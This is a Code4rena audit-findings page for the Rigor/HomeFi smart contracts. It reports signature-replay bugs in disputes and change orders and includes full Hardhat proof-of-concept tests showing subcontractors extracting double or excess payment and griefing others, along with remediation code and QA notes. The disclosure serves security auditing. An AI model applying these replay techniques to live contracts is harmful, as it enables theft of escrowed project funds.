Platform: Code4rena
Start Date: 01/08/2022
Pot Size: $50,000 USDC
Total HM: 26
Participants: 133
Period: 5 days
Judge: Jack the Pug
Total Solo HM: 6
Id: 151
League: ETH
Rank: 18/133
Findings: 3
Award: $651.67
🌟 Selected for report: 0
🚀 Solo Findings: 0
🌟 Selected for report: Lambda
Also found by: 0x1f8b, 0x52, horsefacts, vlad_bochok, wastewa
514.2536 USDC - $514.25
Unlike some of the other signature based operations in the Rigor system, dispute signatures do not include a nonce and are vulnerable to replay attacks.
This is similar to my finding in #339, but lower severity, since it is more of a spamming/griefing vector.
Impact: Malicious callers may replay past disputes to spam the disputes contract with fake duplicates.
Add the following test case to test/utils/disputeTests.ts
:
it('dispute replay', async () => { // Add tasks const hashArray = ['0x']; const costArray = [200000000000]; const addTasksData = { types: ['bytes[]', 'uint256[]', 'uint256', 'address'], values: [ hashArray, costArray, await project.taskCount(), project.address, ], }; const [encodedAddTasksData, addTasksSignature] = await multisig( addTasksData, [signers[0]], ); await ( await project.addTasks(encodedAddTasksData, addTasksSignature) ).wait(); //make up difference in cost and lending await builderLend(project, mockDAIContract, signers[0]); // Add GC const data = { types: ['address', 'address'], values: [signers[1].address, project.address], }; const [encodedDataAddGC, signatureAddGC] = await multisig(data, [ signers[0], signers[1], ]); const txAddGC = await project.inviteContractor( encodedDataAddGC, signatureAddGC, ); await txAddGC.wait(); let expected = 1; const actionValues = [[exampleHash], [500000000000], 1, projectAddress]; // build and raise dispute transaction const [encodedData, signature] = await makeDispute( projectAddress, 0, 1, actionValues, signers[1], '0x43f5', ); expect(await disputesContract.disputeCount()).to.be.equal(0); let tx = await project .connect(signers[1]) .raiseDispute(encodedData, signature); // expect event await expect(tx) .to.emit(disputesContract, 'DisputeRaised') .withArgs(0, '0x43f5'); // expect dispute raise to store info let _dispute = await disputesContract.disputes(0); let decodedAction = abiCoder.decode(types.taskAdd, _dispute.actionData); expect(_dispute.status).to.be.equal(1); expect(_dispute.taskID).to.be.equal(0); expect(decodedAction[0][0]).to.be.equal(exampleHash); expect(decodedAction[1][0]).to.be.equal(500000000000); expect(decodedAction[2]).to.be.equal(1); expect(decodedAction[3]).to.be.equal(projectAddress); expect(await disputesContract.disputeCount()).to.be.equal(1); // expect unchanged number of tasks let taskCount = await project.taskCount(); expect(taskCount).to.be.equal(expected); // Unrelated griefer replays dispute Tx let replayTx = await project .connect(signers[3]) .raiseDispute(encodedData, signature); await replayTx.wait(); // A new dispute is created _dispute = await disputesContract.disputes(1); decodedAction = abiCoder.decode(types.taskAdd, _dispute.actionData); expect(_dispute.status).to.be.equal(1); expect(_dispute.taskID).to.be.equal(0); expect(decodedAction[0][0]).to.be.equal(exampleHash); expect(decodedAction[1][0]).to.be.equal(500000000000); expect(decodedAction[2]).to.be.equal(1); expect(decodedAction[3]).to.be.equal(projectAddress); expect(await disputesContract.disputeCount()).to.be.equal(2); });
First and most important, add a nonce to dispute data and verify it in raiseDispute
, similar to the implementation in other functions lke updateTaskHash
:
// Decode params from _data (address _project, uint256 _task, , , , _nonce) = abi.decode( _data, (address, uint256, uint8, bytes, bytes, uint256) ); // Revert if decoded nonce is incorrect. This indicates wrong data. require(_nonce == raiseDisputeNonce, "Project::!Nonce"); raiseDisputeNonce++;
Second, ensure that _msgSender()
matches one of the recovered message signers in raiseDispute
. Note that the comments in this function ("Revert if
sender...") indicate that it checks the message sender, but the logic actually checks the recovered signer. The recovered signer address is never
compared against _msgSender()
to ensure that the caller is an authorized builder, contractor, or subcontractor.
if (_task == 0) { // Revet if sender is not builder or contractor require( signer == builder || signer == contractor, "Project::!(GC||Builder)" ); require(_msgSender() == builder || _msgSender() == contractor, 'Not a signer'); } else { // Revet if sender is not builder, contractor or task's subcontractor require( signer == builder || signer == contractor || signer == tasks[_task].subcontractor, "Project::!(GC||Builder||SC)" ); require(_msgSender() == builder || _msgSender() == contractor || _msgSEnder() == tasks[_task].subcontractor, 'Not a signer'); if (signer == tasks[_task].subcontractor) { // If sender is task's subcontractor, revert if invitation is not accepted. require(getAlerts(_task)[2], "Project::!SCConfirmed"); } }
#0 - 0xA5DF
2022-08-11T13:55:45Z
Edit: Dupe of #298 (sponsor confirmed)
#1 - parv3213
2022-09-01T08:24:59Z
@jack-the-pug this issues does not look at a dupe of #298. Could be a sub-part of #376
#2 - 0xA5DF
2022-09-01T09:50:43Z
My bad, I gotta be more careful while deduping
94.8726 USDC - $94.87
https://github.com/code-423n4/2022-08-rigor/blob/5ab7ea84a1516cb726421ef690af5bc41029f88f/contracts/Project.sol#L386 https://github.com/code-423n4/2022-08-rigor/blob/5ab7ea84a1516cb726421ef690af5bc41029f88f/contracts/Project.sol#L449 https://github.com/code-423n4/2022-08-rigor/blob/5ab7ea84a1516cb726421ef690af5bc41029f88f/contracts/libraries/Tasks.sol#L160
Unlike some of the other signature based operations in the Rigor system, change order signatures do not include a nonce and are vulnerable to replay attacks. A number of exploits are possible using replayed change orders, including subcontractors extracting multiple payments for the same task, subcontractors extracting excess payment for a single task, and denial of service/griefing of competing subcontractors to prevent them from completing tasks.
The worst of these attacks require the attacker to engineer or observe specific changes to both tasks and the project budget, e.g. multiple change orders at different amounts for the same task. However, these conditions do not seem unreasonable in the context of an active construction project, where change orders are common and tasks often cost more than originally estimated. Moreover, the more active the project, the more possibilities there will be for a malicious caller to find a sequence of replays that may be exploited.
I've come up with a few examples below, but I suspect there are additional scenarios where change order replays may be exploited in unexpected ways.
In this scenario, the attacker exploits multiple change orders and the state of the project budget to claim payment for a task multiple times.
setComplete
transaction. Mallory is paid 3,000 DAI.addTasks
to create these additional tasks, Mallory calls changeOrder
and replays the 10,000 DAI change
order from step 4. (If Mallory is a sophisticated attacker, she may watch for Bob's transaction in the mempool and frontrun
it, or perhaps she just follows project updates off chain and has knowledge of when Bob will add more tasks).Inactive
state when the change order is replayed.Active
and funded.setComplete
transaction from step 8 to complete task 1 for a second time and extract 10,000 DAI.
Mallory has extracted 13,000 DAI total rather than 3,000 DAI for task 1.Impact: Malicious subcontractors may complete tasks multiple times to steal project funds from other tasks. If a given task has had multiple change orders at multiple prices, this attack may be repeated multiple times.
Steps 1-7 here are the same as the previous example: Mallory engineers a scenario where a task has multiple change orders at different total costs. This attack is easier because she does not need to monitor the project budget to force her task into the unapproved state. Instead, she simply claims payment for the task once at the higher price.
setComplete
transaction.setComplete
transaction, replays the 10,000 DAI change order from step 4, and re-accepts the task.Impact: Malicious subcontractors may extract more payment than agreed for a specific task by replaying past change orders.
In this scenario, a malicious user can replay past change orders to block or grief an honest subcontractor claiming payment.
setComplete
transaction.setComplete
transaction and replays a previous change order.
7a. If the cost of the replayed change order is above the final cost of the task, Alice may be blocked from claiming payment.
7b. If the cost of the replayed change order is below the final cost of the task, Alice will receive less payment than agreed.Impact: Honest contractors may be blocked from accepting payment or griefed by malicious users replaying change orders.
Add the following examples to test/utils/projectTests.ts
.
it('change order double payment replay attack', async () => { // Our project has five tasks const hashArray = ['0x', '0x', '0x', '0x', '0x']; const costArray = [taskCost, taskCost, taskCost, taskCost, taskCost]; const addTasksData = { types: ['bytes[]', 'uint256[]', 'uint256', 'address'], values: [ hashArray, costArray, await project.taskCount(), project.address, ], }; const [encodedAddTasksData, addTasksSignature] = await multisig( addTasksData, [signers[0]], ); const tx = await project.addTasks(encodedAddTasksData, addTasksSignature); await expect(tx) .to.emit(project, 'TasksAdded') .withArgs(costArray, hashArray); expect(await project.taskCount()).to.equal(5); let { cost, subcontractor, state } = await project.getTask(1); expect(cost).to.equal(costArray[0]); expect(subcontractor).to.equal(ethers.constants.AddressZero); expect(state).to.equal(1); // Invite a subcontractor const scList = [signers[2].address]; const inviteSCTx = await project.inviteSC([1], scList); await inviteSCTx.wait(); // Subcontractor accepts invite const acceptInviteTx = await project .connect(signers[2]) .acceptInviteSC([1]); await acceptInviteTx.wait(); // Lender funds full project amount, 5 * taskCost const lendingAmount = taskCost * 5; await mockDAIContract.mock.transferFrom .withArgs(signers[0].address, project.address, lendingAmount) .returns(true); const lendToProjectTx = await project.lendToProject(lendingAmount); await lendToProjectTx.wait(); // Oops, these hardwood floors are gonna cost a lot // more than we thought! // Issue a change order for task 1 that increases the cost const sc = signers[2].address; let newCost = taskCost * 10; const projectAddress = project.address; const changeOrder1Data = { types: ['uint256', 'address', 'uint256', 'address'], values: [1, sc, newCost, projectAddress], }; const [encodedChangeOrder1Data, changeOrder1Signature] = await multisig( changeOrder1Data, [signers[0], signers[2]], ); await mockDAIContract.mock.transfer.returns(true); const changeOrder1Tx = await project.changeOrder( encodedChangeOrder1Data, changeOrder1Signature, ); await changeOrder1Tx.wait(); await expect(changeOrder1Tx) .to.emit(project, 'ChangeOrderFee') .withArgs(1, newCost); let taskDetails = await project.getTask(1); expect(taskDetails.cost).to.equal(newCost); expect(taskDetails.subcontractor).to.equal(sc); expect(taskDetails.state).to.equal(1); // Re-invite subcontractor const inviteSCTx2 = await project.inviteSC([1], scList); await inviteSCTx2.wait(); // Accept invite const acceptInviteTx2 = await project .connect(signers[2]) .acceptInviteSC([1]); await acceptInviteTx2.wait(); // Fully fund project for increased cost const increasedLendingAmount = taskCost * 9; await mockDAIContract.mock.transferFrom .withArgs(signers[0].address, project.address, increasedLendingAmount) .returns(true); const lendToProjectTx2 = await project.lendToProject( increasedLendingAmount, ); await lendToProjectTx2.wait(); // Hey boss, good news from your subcontractor! We're under budget. // Issue a change order for task 1 that decreases the cost newCost = taskCost * 3; const changeOrder2Data = { types: ['uint256', 'address', 'uint256', 'address'], values: [1, sc, newCost, projectAddress], }; const [encodedChangeOrder2Data, changeOrder2Signature] = await multisig( changeOrder2Data, [signers[0], signers[2]], ); await mockDAIContract.mock.transfer.returns(true); const changeOrder2Tx = await project.changeOrder( encodedChangeOrder2Data, changeOrder2Signature, ); await changeOrder2Tx.wait(); await expect(changeOrder2Tx) .to.emit(project, 'ChangeOrderFee') .withArgs(1, newCost); taskDetails = await project.getTask(1); expect(taskDetails.cost).to.equal(newCost); expect(taskDetails.subcontractor).to.equal(sc); expect(taskDetails.state).to.equal(2); // Subcontractor completes task at 5x cost const setCompleteData = { types: ['uint256', 'address'], values: [1, projectAddress], }; const [encodedSetCompleteData, setCompleteSignature] = await multisig( setCompleteData, [signers[0], signers[2]], ); const setCompleteTx = await project.setComplete( encodedSetCompleteData, setCompleteSignature, ); await expect(setCompleteTx).to.emit(project, 'TaskComplete').withArgs(1); // Subcontractor 1 replays 10x change order await mockDAIContract.mock.transfer.returns(true); const changeOrderReplayTx = await project .connect(signers[2]) .changeOrder(encodedChangeOrder1Data, changeOrder1Signature); await changeOrderReplayTx.wait(); taskDetails = await project.getTask(1); expect(taskDetails.cost).to.equal(taskCost * 10); expect(taskDetails.subcontractor).to.equal(sc); expect(taskDetails.state).to.equal(1); const allocateTx = await project.connect(signers[2]).allocateFunds(); await allocateTx.wait(); const taskHashes = ['0x', '0x', '0x', '0x', '0x']; const taskCosts = [taskCost, taskCost, taskCost, taskCost, taskCost]; const extraTasksData = { types: ['bytes[]', 'uint256[]', 'uint256', 'address'], values: [ taskHashes, taskCosts, await project.taskCount(), project.address, ], }; const [encodedAddExtraTasksData, addExtraTasksSignature] = await multisig( extraTasksData, [signers[0]], ); const addExtraTasksTx = await project.addTasks( encodedAddExtraTasksData, addExtraTasksSignature, ); await addExtraTasksTx.wait(); // Fully fund project for increased cost of new tasks await mockDAIContract.mock.transferFrom .withArgs(signers[0].address, project.address, taskCost * 5) .returns(true); const lendToProjectTx3 = await project.lendToProject( increasedLendingAmount, ); await lendToProjectTx3.wait(); // Accept invite const acceptInviteTx4 = await project .connect(signers[2]) .acceptInviteSC([1]); await acceptInviteTx4.wait(); // Contractor 2 replays setComplete // Contractor 2 has completed task 1 twice, and claimed payment // at both the 5x and 10x cost. const setCompleteReplayTx = await project .connect(signers[2]) .setComplete(encodedSetCompleteData, setCompleteSignature); await expect(setCompleteReplayTx) .to.emit(project, 'TaskComplete') .withArgs(1); });
it('change order frontrun replay attack', async () => { // Add 5 tasks with equal cost const hashArray = ['0x', '0x', '0x', '0x', '0x']; const costArray = [taskCost, taskCost, taskCost, taskCost, taskCost]; const addTasksData = { types: ['bytes[]', 'uint256[]', 'uint256', 'address'], values: [ hashArray, costArray, await project.taskCount(), project.address, ], }; const [encodedAddTasksData, addTasksSignature] = await multisig( addTasksData, [signers[0]], ); const tx = await project.addTasks(encodedAddTasksData, addTasksSignature); await expect(tx) .to.emit(project, 'TasksAdded') .withArgs(costArray, hashArray); expect(await project.taskCount()).to.equal(5); let { cost, subcontractor, state } = await project.getTask(1); expect(cost).to.equal(costArray[0]); expect(subcontractor).to.equal(ethers.constants.AddressZero); expect(state).to.equal(1); // Invite subcontractor const scList = [signers[2].address]; const inviteSCTx = await project.inviteSC([1], scList); await inviteSCTx.wait(); // Accept invite const acceptInviteTx = await project .connect(signers[2]) .acceptInviteSC([1]); await acceptInviteTx.wait(); // Fully fund project for all five tasks const lendingAmount = taskCost * 5; await mockDAIContract.mock.transferFrom .withArgs(signers[0].address, project.address, lendingAmount) .returns(true); const lendToProjectTx = await project.lendToProject(lendingAmount); await lendToProjectTx.wait(); // Change order for task 1 increases cost const sc = signers[2].address; let newCost = taskCost * 5; // 5x cost of task const projectAddress = project.address; const changeOrder1Data = { types: ['uint256', 'address', 'uint256', 'address'], values: [1, sc, newCost, projectAddress], }; const [encodedChangeOrder1Data, changeOrder1Signature] = await multisig( changeOrder1Data, [signers[0], signers[2]], ); await mockDAIContract.mock.transfer.returns(true); const changeOrder1Tx = await project.changeOrder( encodedChangeOrder1Data, changeOrder1Signature, ); await changeOrder1Tx.wait(); await expect(changeOrder1Tx) .to.emit(project, 'ChangeOrderFee') .withArgs(1, newCost); let taskDetails = await project.getTask(1); expect(taskDetails.cost).to.equal(newCost); expect(taskDetails.subcontractor).to.equal(sc); expect(taskDetails.state).to.equal(1); // Change order for task 1 decreases cost back to previous value newCost = taskCost; const changeOrder2Data = { types: ['uint256', 'address', 'uint256', 'address'], values: [1, sc, newCost, projectAddress], }; const [encodedChangeOrder2Data, changeOrder2Signature] = await multisig( changeOrder2Data, [signers[0], signers[2]], ); await mockDAIContract.mock.transfer.returns(true); const changeOrder2Tx = await project.changeOrder( encodedChangeOrder2Data, changeOrder2Signature, ); await changeOrder2Tx.wait(); await expect(changeOrder2Tx) .to.emit(project, 'ChangeOrderFee') .withArgs(1, newCost); taskDetails = await project.getTask(1); expect(taskDetails.cost).to.equal(newCost); expect(taskDetails.subcontractor).to.equal(sc); expect(taskDetails.state).to.equal(1); // Builder adds and funds new tasks const taskHashes = ['0x', '0x', '0x', '0x', '0x']; const taskCosts = [taskCost, taskCost, taskCost, taskCost, taskCost]; const extraTasksData = { types: ['bytes[]', 'uint256[]', 'uint256', 'address'], values: [ taskHashes, taskCosts, await project.taskCount(), project.address, ], }; const [encodedAddExtraTasksData, addExtraTasksSignature] = await multisig( extraTasksData, [signers[0]], ); const addExtraTasksTx = await project.addTasks( encodedAddExtraTasksData, addExtraTasksSignature, ); await addExtraTasksTx.wait(); // Sign setComplete message const setCompleteData = { types: ['uint256', 'address'], values: [1, projectAddress], }; const [encodedSetCompleteData, setCompleteSignature] = await multisig( setCompleteData, [signers[0], signers[2]], ); // Subcontractor replays previous change order await mockDAIContract.mock.transfer.returns(true); const changeOrderReplayTx = await project.changeOrder( encodedChangeOrder1Data, changeOrder1Signature, ); await changeOrderReplayTx.wait(); await expect(changeOrderReplayTx) .to.emit(project, 'ChangeOrderFee') .withArgs(1, newCost * 5); taskDetails = await project.getTask(1); expect(taskDetails.cost).to.equal(newCost * 5); expect(taskDetails.subcontractor).to.equal(sc); expect(taskDetails.state).to.equal(1); // Accept invite const acceptInviteTx2 = await project .connect(signers[2]) .acceptInviteSC([1]); await acceptInviteTx2.wait(); // Subcontractor completes task at higher cost const setCompleteTx = await project.setComplete( encodedSetCompleteData, setCompleteSignature, ); await expect(setCompleteTx).to.emit(project, 'TaskComplete').withArgs(1); });
it('change order DoS attack', async () => { // Add 5 tasks with equal cost const hashArray = ['0x', '0x', '0x', '0x', '0x']; const costArray = [taskCost, taskCost, taskCost, taskCost, taskCost]; const addTasksData = { types: ['bytes[]', 'uint256[]', 'uint256', 'address'], values: [ hashArray, costArray, await project.taskCount(), project.address, ], }; const [encodedAddTasksData, addTasksSignature] = await multisig( addTasksData, [signers[0]], ); const tx = await project.addTasks(encodedAddTasksData, addTasksSignature); await expect(tx) .to.emit(project, 'TasksAdded') .withArgs(costArray, hashArray); expect(await project.taskCount()).to.equal(5); let { cost, subcontractor, state } = await project.getTask(1); expect(cost).to.equal(costArray[0]); expect(subcontractor).to.equal(ethers.constants.AddressZero); expect(state).to.equal(1); // Invite subcontractor const scList = [signers[2].address]; const inviteSCTx = await project.inviteSC([1], scList); await inviteSCTx.wait(); // Accept invite const acceptInviteTx = await project .connect(signers[2]) .acceptInviteSC([1]); await acceptInviteTx.wait(); // Fully fund project for all five tasks const lendingAmount = taskCost * 5; await mockDAIContract.mock.transferFrom .withArgs(signers[0].address, project.address, lendingAmount) .returns(true); const lendToProjectTx = await project.lendToProject(lendingAmount); await lendToProjectTx.wait(); // Change order for task 1 increases cost const sc = signers[2].address; let newCost = taskCost * 5; // 5x cost of task const projectAddress = project.address; const changeOrder1Data = { types: ['uint256', 'address', 'uint256', 'address'], values: [1, sc, newCost, projectAddress], }; const [encodedChangeOrder1Data, changeOrder1Signature] = await multisig( changeOrder1Data, [signers[0], signers[2]], ); await mockDAIContract.mock.transfer.returns(true); const changeOrder1Tx = await project.changeOrder( encodedChangeOrder1Data, changeOrder1Signature, ); await changeOrder1Tx.wait(); await expect(changeOrder1Tx) .to.emit(project, 'ChangeOrderFee') .withArgs(1, newCost); let taskDetails = await project.getTask(1); expect(taskDetails.cost).to.equal(newCost); expect(taskDetails.subcontractor).to.equal(sc); expect(taskDetails.state).to.equal(1); // Change order for task 1 decreases cost back to previous value newCost = taskCost; const changeOrder2Data = { types: ['uint256', 'address', 'uint256', 'address'], values: [1, sc, newCost, projectAddress], }; const [encodedChangeOrder2Data, changeOrder2Signature] = await multisig( changeOrder2Data, [signers[0], signers[2]], ); await mockDAIContract.mock.transfer.returns(true); const changeOrder2Tx = await project.changeOrder( encodedChangeOrder2Data, changeOrder2Signature, ); await changeOrder2Tx.wait(); await expect(changeOrder2Tx) .to.emit(project, 'ChangeOrderFee') .withArgs(1, newCost); taskDetails = await project.getTask(1); expect(taskDetails.cost).to.equal(newCost); expect(taskDetails.subcontractor).to.equal(sc); expect(taskDetails.state).to.equal(1); // Sign setComplete message const setCompleteData = { types: ['uint256', 'address'], values: [1, projectAddress], }; const [encodedSetCompleteData, setCompleteSignature] = await multisig( setCompleteData, [signers[0], signers[2]], ); // Griefer replays previous change order await mockDAIContract.mock.transfer.returns(true); const changeOrderReplayTx = await project .connect(signers[3]) .changeOrder(encodedChangeOrder1Data, changeOrder1Signature); await changeOrderReplayTx.wait(); await expect(changeOrderReplayTx) .to.emit(project, 'ChangeOrderFee') .withArgs(1, newCost * 5); taskDetails = await project.getTask(1); expect(taskDetails.cost).to.equal(newCost * 5); expect(taskDetails.subcontractor).to.equal(sc); expect(taskDetails.state).to.equal(1); // Replay has marked task inactive, subcontractor 2 cannot claim. const setCompleteTx = await project.setComplete( encodedSetCompleteData, setCompleteSignature, ); await expect(setCompleteTx).to.be.revertedWith('Task::!Active'); });
I recommend several defense-in-depth changes to prevent these scenarios.
First and most important, add a nonce to change order data and verify it in changeOrder
, similar to the implementation in other functions lke updateTaskHash
:
// Decode params from _data ( uint256 _taskID, address _newSC, uint256 _newCost, address _project, uint256 _nonce ) = abi.decode(_data, (uint256, address, uint256, address, uint256)); // Revert if decoded nonce is incorrect. This indicates wrong data. require(_nonce == changeOrderNonce, "Project::!Nonce"); changeOrderNonce++;
Second, prevent Completed
tasks from transitioning back to other states:
function unApprove(Task storage _self) internal { // State/ lifecycle // require(_self.state != TaskStatus.Complete, 'cannot unapprove completed task'); _self.alerts[uint256(Lifecycle.SCConfirmed)] = false; _self.state = TaskStatus.Inactive; }
(You may also be able to do this using the onlyActive
modifier).
Finally, if third parties are not intended to submit signatures on behalf of the builder/contractor/subcontractor,
ensure that _msgSender()
matches one of the recovered message signers in checkSignatureTask
:
function checkSignatureTask( bytes calldata _data, bytes calldata _signature, uint256 _taskID ) internal { // Calculate hash from bytes bytes32 _hash = keccak256(_data); // Local instance of subcontractor. To save gas. address _sc = tasks[_taskID].subcontractor; // When there is no contractor if (contractor == address(0)) { // Just check for B and SC sign checkSignatureValidity(builder, _hash, _signature, 0); checkSignatureValidity(_sc, _hash, _signature, 1); require(_msgSender() == builder || _msgSender() == _sc, 'Not a signer'); } // When there is a contractor else { // When builder has delegated his rights to contractor if (contractorDelegated) { // Check for GC and SC sign checkSignatureValidity(contractor, _hash, _signature, 0); checkSignatureValidity(_sc, _hash, _signature, 1); require(_msgSender() == contractor || _msgSender() == _sc, 'Not a signer'); } // When builder has not delegated rights to contractor else { // Check for B, SC and GC signatures checkSignatureValidity(builder, _hash, _signature, 0); checkSignatureValidity(contractor, _hash, _signature, 1); checkSignatureValidity(_sc, _hash, _signature, 2); require(_msgSender() == builder || _msgSender() == contractor || _msgSender() == _sc, 'Not a signer'); } } }
#0 - 0xA5DF
2022-08-11T08:12:03Z
Duplicate of #95
🌟 Selected for report: Lambda
Also found by: 0x1f8b, 0x52, 0xA5DF, 0xNazgul, 0xNineDec, 0xSmartContract, 0xSolus, 0xf15ers, 0xkatana, 0xsolstars, 8olidity, Aymen0909, Bahurum, Bnke0x0, CertoraInc, Chom, CodingNameKiki, Deivitto, Dravee, ElKu, Extropy, Funen, GalloDaSballo, Guardian, IllIllI, JC, Jujic, MEP, Noah3o6, ReyAdmirado, Rohan16, Rolezn, Ruhum, Sm4rty, SooYa, Soosh, Throne6g, TomJ, Tomio, TrungOre, Waze, Yiko, _Adam, __141345__, a12jmx, ajtra, ak1, arcoun, asutorufos, ayeslick, benbaessler, berndartmueller, bin2chen, bobirichman, brgltd, bulej93, byndooa, c3phas, codexploder, cryptonue, cryptphi, defsec, delfin454000, dipp, djxploit, erictee, exd0tpy, fatherOfBlocks, gogo, hake, hansfriese, horsefacts, hyh, ignacio, indijanc, joestakey, kaden, mics, minhquanym, neumo, obront, oyc_109, p_crypt0, pfapostol, poirots, rbserver, robee, rokinot, rotcivegaf, sach1r0, saian, samruna, saneryee, scaraven, sikorico, simon135, sseefried, supernova
42.5475 USDC - $42.55
HomeFi
project NFTs use _mint
rather than _safeMint
. Project NFTs may be minted to contract addresses that cannot receive them:
// Mints NFT and set token URI _mint(_to, projectCount); _setTokenURI(projectCount, _tokenURI);
Recommendation: prefer _safeMint
.
The admin of the HomeFi
contract may be changed in a single step. This pattern can be prone to error, and may permanently lock out the contract admin if set to an incorrect address. Consider adopting a two step ownership transfer pattern, where the new
admin is first nominated, then must accept ownership of the contract.
The lender fee calculation appears to slightly underprice the actual lender fee, if it is calculated with a scalar value of 1000:
// Calculate lenderFee uint256 _lenderFee = (_lendingAmount * _projectInstance.lenderFee()) / (_projectInstance.lenderFee() + 1000);
Recommendation:
// Calculate lenderFee uint256 _lenderFee = (_lendingAmount * _projectInstance.lenderFee()) / 1000;
setTrustedForwarder
The setTrustedForwarder
function does not emit an event:
function setTrustedForwarder(address _newForwarder) external override onlyAdmin noChange(trustedForwarder, _newForwarder) { trustedForwarder = _newForwarder; }
The Rigor unit tests set up the necessary contracts once per test suite, then run individual test cases in a shared, stateful context that persists across individual test cases. This makes it difficult to reason about the contract state in each individual test case, since changes made in previous tests may affect later ones. In my own experience, this approach is especially prone to accidental errors and invalid assumptions due to unexpected interactions between test cases.
Recommendation: set up and tear down the full system before/after each test case and run each test case in an isolated context.
allContractNames
HomeFiProxy
tracks deployed contracts by their two-character name. Although you can access these one by one through the exposed public getter created for allContractNames
, you may want to also add a custom getter function that returns the full array for convenience:
bytes2[] public allContractNames;
Suggestion:
bytes2[] public allContractNames; function getAllContractNames() external view returns(bytes2[]) { return allContractNames; }
payable
It does not appear necessary to store addresses as address payable
in HomeFiProxy
, since this value is not read or paid
by other contracts in the system. In contract storage, an address payable
will store the same data as a regular address
.
/// @dev mapping that maps contract initials with there implementation address mapping(bytes2 => address payable) internal contractAddress;
// Store details contractAddress[_contractName] = payable(address(tempInstance)); contractsActive[address(tempInstance)] = true;
This line in Community#repayLender
will pass the literal bytes 0x3078
, i.e. the string value "0x". You may want to pass an empty string or or new bytes(0)
if the intent is to pass empty bytes.
// Internally call reduce debt _reduceDebt(_communityID, _project, _repayAmount, "0x");
#0 - parv3213
2022-08-07T06:55:55Z
Project NFTs may be minted to non-ERC721 receivers
could be considered, under team discussion.Prefer two-step ownership transfers
is duplicate: https://github.com/code-423n4/2022-08-rigor-findings/issues/368. @code423n4The lender fee calculation appears to slightly underprice the actual lender fee, if it is calculated with a scalar value of 1000
. We have reviewed our calculation and it is correct for our use case.Explaining the math: So, if user wanted to invest 1000$ to a project, he would pass _investment as 1005 (adding the investment fee). Then the cal would be => _investorFee = 1005*5/(1000+5) {according to new formula} => _investorFee = 5. => _amountInvested = _investment - _investorFee = 1005 - 5 = 1000.
Emit event from setTrustedForwarder
. We will probably consider this.Isolate unit tests
. We have both isolated and shared tests. For example, when we test ./test/Project.ts
then it behaves like an isolated test. There is only one shared test- test/Upgradability.ts
.Expose a full array getter for allContractNames
. Not required.Unnecessary use of payable
. Typecase to payable to required for TransparentUpgradeableProxy
.Pass empty string
. Good point.